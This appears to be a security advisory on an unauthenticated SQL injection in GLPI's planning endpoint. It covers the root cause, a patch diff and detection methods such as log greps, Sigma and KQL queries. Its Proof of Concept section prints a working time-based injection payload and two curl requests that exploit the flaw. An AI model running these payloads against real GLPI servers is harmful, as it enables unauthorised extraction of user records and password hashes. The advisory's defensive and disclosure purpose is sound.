Introduction
A single unauthenticated GET request to a GLPI planning endpoint, carrying two innocuous-looking parameters, is enough to break out of a SQL string literal and read the entire application database. For GLPI deployments that manage inventory, tickets, user records, and password hashes, CVE-2026-139990 turns the planning availability check into a time-based blind oracle reachable without any login.
GLPI is an open source IT Service Management, IT Asset Management, and helpdesk platform published by Teclib, a French company that took over the project in 2015. Its publisher reports more than 11 million users across more than 186 countries, with named adopters including Airbus, Transavia, CNAF, and La Poste. That installed base is why an unauthenticated confidentiality exposure in a core feature deserves attention from anyone running the affected branch.
Technical Information
The vulnerable endpoint is front/planning.php. The weakness is classified as CWE-89, SQL injection, and was demonstrated against GLPI 11.0.8 with no plugins installed, confirming this is a core application issue rather than a dependency on an optional extension.
Root cause: two design flaws that chain into an authentication bypass
Two separate design flaws combine to let an anonymous request reach the vulnerable code path.
First, the rights check in front/planning.php is skipped whenever the genical (iCal export) parameter is present:
if (!isset($_GET['genical'])) { Session::checkRight("planning", READ); }
Second, the iCalendar token is only validated in a later elseif branch, but checkavailability is tested first. Sending both genical and checkavailability therefore runs Planning::checkAvailability($_GET) before execution ever reaches the branch that validates the token.
checkAvailability() then accepts the begin and end dates without validation, after confirming only that itemtype and users_id reference an existing record. The default super-admin record is itemtype=User&users_id=2. Unauthenticated access does not mean every arbitrary value succeeds: the existing-record check remains part of the demonstrated path.
The injection sink
The availability check calls planning population functions, including populateNotPlanned(), which enables the not_planned branch. In CommonITILTask::genericPopulatePlanning(), and in the identical pattern inside ProjectTask::populatePlanning(), the user-controlled dates are concatenated raw into a QueryExpression:
new QueryExpression($edate . " >= '" . $begin . "'"), // $begin injected raw new QueryExpression($bdate . " <= '" . $end . "'"), // $end injected raw
GLPI's database layer normally builds WHERE clauses from structured arrays and quotes the values itself. A QueryExpression, however, is a raw SQL fragment inserted into the query as-is, so anything placed inside one must be made safe by the developer first. Here the quote characters are added by hand, so a value that contains its own ' closes the string literal early and whatever follows it runs as SQL. The availability template appends a time suffix to each bound, so a working payload closes the quote, injects a condition, and re-opens a quote (ending in AND '1) to absorb that suffix.
GLPI 10.x is not exploitable through this path because it still applies global input escaping (Sanitizer::sanitize / real_escape_string), which neutralizes the quote. GLPI 11 dropped global escaping in favor of contextual escaping that the hand-built QueryExpression bypasses.
Attack flow
- The attacker sends an unauthenticated GET request to
front/planning.phpwithgenical=1, which skips the rights check. - The same request includes
checkavailability=1, which is evaluated before the iCal token branch, so no token is required. itemtype=Userandusers_id=2satisfy the existing-record check against the default super-admin.- The SQL payload goes in the unvalidated
beginparameter, breaking out of the hand-quoted string literal in thenot_plannedQueryExpression. - Because the injection is time-based blind, the attacker infers data one condition at a time by comparing response times between true and false conditions.
Proof of Concept
Antoine Morin of Mobeta published a public, reproducible proof of concept on 2026-10-20, and VulnCheck's advisory independently maps it to this CVE (tracked upstream as GHSA-753w-2942-4pxm, CWE-89). It was tested against a clean GLPI 11.0.8 install with no plugins. This is verified public PoC availability; it does not represent independently reproduced exploitation on our part.
On a fresh install the planning tables are empty, so a SLEEP() placed directly in the outer WHERE never fires. The PoC works around this with an uncorrelated subquery that has its own FROM clause (evaluated at optimization time) targeting the always-populated glpi_configs table:
begin = 2000-01-01' AND (SELECT IF(<CONDITION>, SLEEP(1), 0) FROM glpi_configs LIMIT 1) AND '1
The two published requests differ only in the boolean condition (1=2 versus 1=1). The true condition triggers the measurable SLEEP delay, confirming a time-based oracle:
curl -sS -o /dev/null \ -w 'HTTP %{http_code} - %{time_total}s\n' \ --get 'http://127.0.0.1:8081/front/planning.php' \ --data-urlencode 'genical=1' \ --data-urlencode 'checkavailability=1' \ --data-urlencode 'itemtype=User' \ --data-urlencode 'users_id=2' \ --data-urlencode "begin=2000-01-01' AND (SELECT IF(1=2, SLEEP(1), 0) FROM glpi_configs LIMIT 1) AND '1" \ --data-urlencode 'end=z'
curl -sS -o /dev/null \ -w 'HTTP %{http_code} - %{time_total}s\n' \ --get 'http://127.0.0.1:8081/front/planning.php' \ --data-urlencode 'genical=1' \ --data-urlencode 'checkavailability=1' \ --data-urlencode 'itemtype=User' \ --data-urlencode 'users_id=2' \ --data-urlencode "begin=2000-01-01' AND (SELECT IF(1=1, SLEEP(1), 0) FROM glpi_configs LIMIT 1) AND '1" \ --data-urlencode 'end=z'
The injection is read-only, but it lets an unauthenticated remote attacker extract the entire GLPI database (password hashes, configuration, inventory, tickets, users), which can escalate to admin account takeover and, from there, potentially RCE. The researcher also noted that the 12-dev branch stores clear-text session identifiers, making the oracle able to hijack an admin session directly. That is a development scenario and should not be read as demonstrated stable-version account takeover.
Patch Information
The fixed version is GLPI 11.0.9, published on 2026-09-16 and labelled "This is a security release, upgrading is recommended." The maintainers' advisory (GHSA-753w-2942-4pxm, "Unauthenticated SQL injection in planning feature") lists 11.0.0 through 11.0.8 as vulnerable and gives the single instruction "Upgrade to 11.0.9." The advisory itself has no CVE ID; the CVE record is what ties GHSA-753w-2942-4pxm to CVE-2026-139990.
The fix commit is 7dd5eba31d4e6d3378f1cd2869f4d95a27af3174, titled "fix: Search value wasn't quoted correctly," written by Benoit Vignal (froozeify) and committed by Cedric Anne. It is a small change: 4 lines added and 4 removed across two files, which is typical when one unsafe pattern was copied into two places.
In src/CommonITILTask.php, inside genericPopulatePlanning():
@@ -1434,8 +1434,8 @@ public static function genericPopulatePlanning($itemtype, $options = []) $item->getTable() . '.begin' => null, $item->getTable() . '.actiontime' => ['>', 0], //begin is replaced with creation tim minus duration - new QueryExpression($edate . " >= '" . $begin . "'"), - new QueryExpression($bdate . " <= '" . $end . "'"), + new QueryExpression($edate . " >= " . $DB::quoteValue($begin)), + new QueryExpression($bdate . " <= " . $DB::quoteValue($end)), ];
The same pattern was fixed in src/ProjectTask.php, inside populatePlanning():
@@ -2013,8 +2013,8 @@ public static function populatePlanning($options = []): array $ttask_table . '.plan_end_date' => null, $ttask_table . '.planned_duration' => ['>', 0], //begin is replaced with creation tim minus duration - new QueryExpression($edate . " >= '" . $begin . "'"), - new QueryExpression($bdate . " <= '" . $end . "'"), + new QueryExpression($edate . " >= " . $DB::quoteValue($begin)), + new QueryExpression($bdate . " <= " . $DB::quoteValue($end)), ]);
The old code added the quote characters by hand, so the value's own characters were never escaped. The new code passes each value through DB::quoteValue(), the database layer's escaping helper, which returns an escaped, quoted SQL literal. A ' inside begin or end is now treated as data inside the date string and cannot end the literal, so the attacker can no longer add SQL clauses or time-based payloads such as SLEEP(). The column side of each comparison ($edate / $bdate) is left alone because those are expressions built by GLPI, not user input. The two-file diff does not change authentication or routing; it fixes the injection sink. The broader lesson: when a query builder offers a raw-expression escape hatch like QueryExpression, every dynamic value placed in it needs explicit quoting, because the builder's automatic escaping does not apply there.
Detection Methods
Detecting CVE-2026-139990 is easier than for most SQL injection bugs because the attack has to reach one specific code path, and an unauthenticated attacker has to send both the genical and checkavailability parameters to front/planning.php. Mobeta's write-up gives the request shape as GET /front/planning.php?genical=1&checkavailability=1&itemtype=User&users_id=2&begin=<INJECTION>&end=z. Watch for that parameter combination first and the payload second.
Web and proxy log hunting (the primary signal)
CybaVerse published a hunt pack built around this parameter pair, noting it is the only disclosed indicator, so the pack includes no IP or hash IoCs. Their grep hunt for Apache and Nginx access logs matches either parameter order:
grep -E "planning\.php.*(genical.*checkavailability|checkavailability.*genical)" /var/log/apache2/access.log* /var/log/nginx/access.log*
Prioritise hits without an authenticated session. The legitimate iCal export uses genical with a token and has no reason to send checkavailability. In the parameter values, look for single quotes, SLEEP(, IF(, or subqueries in begin and end. The public PoC closes the date literal, runs SELECT IF(<condition>, SLEEP(1), 0) FROM glpi_configs LIMIT 1, and ends with AND '1. Most logs will show these values URL-encoded. Because this is a time-based blind injection, data extraction takes many near-identical requests from the same source whose response times swing between fast and slow. If your log format records request duration (%D in Apache or $request_time in Nginx), add it to the hunt.
SIEM content: Sigma and KQL
CybaVerse released an experimental Sigma rule, "GLPI Planning.php genical and checkavailability Parameter Combination" (id 7c3e9a12-5b84-4d1f-9e2a-0a6f4c8d1b27, level high, tagged attack.t1190). It uses the webserver log source and fires when a request contains planning.php and both genical and checkavailability appear in the URI, query, request, or URL field (via contains|all across variants such as cs-uri-query, c-uri, uri, and url). The rule inspects the parameter pair, not exploit payloads.
The same pack provides KQL for Microsoft Sentinel covering CommonSecurityLog, W3CIISLog, Syslog-forwarded Apache/Nginx lines, and AppServiceHTTPLogs. The IIS variant is:
W3CIISLog | where TimeGenerated >= ago(Lookback) | where csUriStem has "planning.php" | where csUriQuery has "genical" and csUriQuery has "checkavailability" | project TimeGenerated, sSiteName, cIP, csMethod, csUriStem, csUriQuery, scStatus | order by TimeGenerated desc;
CybaVerse notes the KQL has not been run against a live tenant, so check field names against your own connectors. The same filter logic (path is planning.php and both parameters present) works as a WAF or reverse-proxy alerting rule.
Database-side visibility
The injection lands in the WHERE clauses of the planning task queries (for example glpi_changetasks and the other ITIL and project task tables), so database query logging gives a payload-level view. Mobeta used the MySQL general_log to see how the injected begin value reached the SQL. With query logging, slow-query logging, or database activity monitoring, look for task-table date predicates containing SLEEP() or subqueries against glpi_configs, and for bursts of slow queries that line up with anonymous planning.php requests.
Post-exploitation and compromise assessment
Because the flaw can expose the whole database, including password hashes, detection should continue past the initial request. CybaVerse recommends checking for new Super-Admin or Admin users, recently changed passwords, new API tokens, and unexpected files or plugins, and their bundle includes read-only SQL queries for reviewing recently created admins and API tokens.
Exposure and version checks
CybaVerse provides check_glpi.sh and check_glpi.ps1 scripts that read the local version without sending traffic to the application, with exit codes (0 = patched, 1 = likely vulnerable or log hits, 2 = unknown, 3 = error) for RMM or deployment tooling. Sources disagree on GLPI 10: CybaVerse treats 10.0.26 and earlier as affected based on GLPI's release notes, while Mobeta found that GLPI 10's global input escaping neutralises this specific path.
Limits to keep in mind
A match on the parameter names shows that someone probed the endpoint, not that the attack succeeded, and a clean result does not rule out compromise if logs rotated or traffic was encoded differently. Known false positives are vulnerability scanners replaying the published parameter names and rare legitimate calendar use of both parameters. No CVE-specific YARA, Snort, or Suricata signatures and no attacker-attributed IoCs had been published at the time of writing.
Affected Systems and Versions
- GLPI stable versions 11.0.0 through 11.0.8 are vulnerable.
- GLPI 11.0.9 (released 2026-09-16) is the first patched version.
- The vulnerability was demonstrated against GLPI 11.0.8 with no plugins installed, confirming it is a core issue.
- GLPI 10.x is not exploitable through this path because it applies global input escaping that neutralizes the quote. CybaVerse treats 10.0.26 and earlier as affected based on GLPI's release notes, while Mobeta found GLPI 10 not exploitable through this specific path; scope inventory checks to your own risk tolerance.
Vendor Security History
GLPI's June 24, 2026 release notice for 11.0.8 and 10.0.26 lists earlier security fixes including SQL injection, arbitrary file deletion, account takeover, privilege escalation, and document disclosure, and identifies critical GLPI 11 issues involving form import code execution and MFA bypass. These are separate historical vulnerabilities, not additional capabilities of CVE-2026-139990. Synacktiv separately documents authenticated SQL injection and stored XSS vulnerabilities affecting GLPI through 11.0.9, fixed in 11.0.10, which underscores why stopping at an old minimum security release can leave other known weaknesses unresolved. GLPI also published a June 29, 2026 community plugin advisory covering issues such as GenericObject code execution, SQL injection, XSS, and access control failures; those concern plugins, whereas the planning SQL injection was demonstrated without plugins. The disclosure process here was functional: the report was submitted on 2026-08-03, confirmed on 2026-08-10, the fix validated on 2026-09-07, and 11.0.9 released on 2026-09-16, all before public technical disclosure on 2026-10-20. GLPI's September release announcement states the project was increasing security release frequency in response to a surge in reports.
References
- NVD: CVE-2026-139990
- CVE Record: CVE-2026-139990
- GHSA-753w-2942-4pxm: Unauthenticated SQL injection in planning feature
- Fix commit 7dd5eba31d4e6d3378f1cd2869f4d95a27af3174
- GLPI 11.0.9 release
- CommonITILTask.php at 11.0.8
- Mobeta: Unauthenticated SQL injection in GLPI (<= 11.0.8)
- VulnCheck advisory
- CERT-FR: Multiples vulnerabilites dans GLPI
- CybaVerse: GLPI Unauthenticated SQL Injection
- Synacktiv: SQL Injection and Stored XSS in GLPI 11
- OpenCVE: CVE-2026-139990
- GLPI update procedure



